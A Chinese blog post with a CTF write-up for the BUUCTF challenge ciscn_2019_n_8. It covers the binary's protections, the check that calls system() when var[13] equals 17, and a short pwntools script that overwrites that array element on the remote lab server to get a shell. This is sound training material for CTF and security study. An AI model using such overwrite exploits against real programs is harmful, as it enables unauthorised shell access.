pwn刷题num27-----内存地址覆盖修改数组元素值

61 篇文章 1 订阅
36 篇文章 0 订阅

BUUCTF-PWN-ciscn_2019_n_8在这里插入图片描述

首先查保护–>看链接类型–>赋予程序可执行权限–>试运行在这里插入图片描述

32位程序,小端序
开启部分RELRO-----got表可写
开启canary保护-----栈溢出需绕过
开启NX保护-----堆栈不可执行
开启PIE-----内存地址随机化
动态链接

ida一下看一下主函数
在这里插入图片描述
先是用一个scanf输入一个name,存在var里,之后观察这个if语句,var[13]只要为17(0x11)就可以调用system函数,获得shell
exp

from pwn import *
context(endian='little',os='linux',arch='i386',log_level='debug') #小端序,linux系统,32位架构,debug
sh = remote('node4.buuoj.cn',25777)
payload = flat(['a' * 13 * 4,0x11])  #32位程序,每个数组元素占4字节,先将var[0]到var[12]填为a,之后将var[13]填为17(0x11)
sh.sendline(payload)
sh.interactive()

运行获得shell

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值